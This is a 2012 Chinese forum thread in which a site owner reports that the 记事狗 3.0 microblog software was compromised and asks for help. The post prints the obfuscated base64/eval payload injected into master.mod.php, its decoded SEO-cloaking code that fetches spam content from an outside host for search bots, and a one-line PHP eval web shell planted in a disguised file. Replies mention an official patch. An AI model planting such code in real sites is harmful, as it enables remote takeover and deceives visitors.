杭州神话信息技术有限公司

标题: 记事狗3.0被植入一句话木马 [打印本页]
作者: 灰儿    时间: 2012-2-13 18:53:15     标题: 记事狗3.0被植入一句话木马

本帖最后由 灰儿 于 2012-2-13 21:01 编辑

根目录下的\modules\master.mod.php文件被植入木马，此文件的末尾多出的代码如下：
  1. eval(gzuncompress(base64_decode("eJylk19rwjAUxd8Fv0MmslTY6hjow6RsDop7mDLUDcaQEmvaZou5JUkZ2/C7L9VoO4as0+Qhfzjn/u4hhEVOTHUgSKqCOWinmSkqSUyFbrW+6rXmApaECa8ZTPzxkz9+wZs1GPWHPp71jEKlbEGlt69KLglBaLP3biLGaZAr7Y1ycKJ1etVucybe3G63c3nRcUNYtl+ZSlgMmZsm6bVtAru2HbdxaqkN1/JzDg0TQFuYOa/qtXxGmQg1A4F+tJinQ3YU7SIPKS01cHin0ilS302nD8GjOQX9gT+a4lmrZ71FFRYhx5hTUKX8ZwjHADGnholb6MTzUES4omX8dkiqMykQHuwMvUK02m3/Ji6V+AduOBntZe1FKJ7JtCrhmSQAR+SZE7bINu9cFXlbshxIVZBk54oSGSZVqRNjOSIn/whBVWXdr8UHkqR5jk/GOalKG+8MZeIvnpWvy+U/8BtOaC65")))
复制代码

解码后代码如下：
  1. if(get_naps_bot($useragent)){

  3. $domain=$_SERVER['SERVER_NAME'];

  5. $spider=get_naps_bot($useragent);

  7. $content=@file_get_contents('http://link.665205.com/jishigou.php?domain='.$domain."&spider=".$spider);

  9. echo $content;

  11. }

  13. function get_naps_bot(){

  15.         $useragent = strtolower($_SERVER['HTTP_USER_AGENT']);      
  16.         if (strpos($useragent, 'googlebot') !== false){

  18.                 return 'Googlebot';

  20.         }

  22.       
  23.         if (strpos($useragent, 'msnbot') !== false){

  25.                 return 'MSNbot';

  27.         }

  29.         if (strpos($useragent, 'slurp') !== false){

  31.                 return 'Yahoobot';

  33.         }

  35.       
  36.         if (strpos($useragent, 'baiduspider') !== false){

  38.                 return 'Baiduspider';

  40.         }

  42.       
  43.         if (strpos($useragent, 'sohu-search') !== false){

  45.                 return 'Sohubot';

  47.         }

  49.       
  50.         if (strpos($useragent, 'lycos') !== false){

  52.                 return 'Lycos';

  54.         }

  56.       
  57.         if (strpos($useragent, 'robozilla') !== false){

  59.                 return 'Robozilla';

  61.         }      
  62.         return false;

  64. }
复制代码

对比原程序时发现多出如下文件：
\include\encoding\tables\gb2312.php
里面的内容是一句话木马，内容如下：

  1. <?php eval($_POST[xiao])?>baidu
复制代码


\setting\ftp.php里内容如下：

  1. <?php
  2.   
  3. $config['ftp']=array (
  4.   'on' => 0,
  5.   'ssl' => 0,
  6.   'port' => 21,
  7.   'attachdir' => '.',
  8.   'pasv' => 0,
  9.   'timeout' => 0,
  10. );
  11. ?>
复制代码

可能是官方程序有漏洞，求解决办法。


作者: 放牛郎    时间: 2012-2-14 09:34:47

官方之前有发布安全补丁的，没看到吗？
作者: 新世纪    时间: 2012-2-19 17:54:36

是这样的，学习了。
作者: famous    时间: 2012-2-19 21:17:17

我的天呐。。。赶紧补吧。



欢迎光临 杭州神话信息技术有限公司 (http://www.cenwor.com/) Powered by Discuz! X2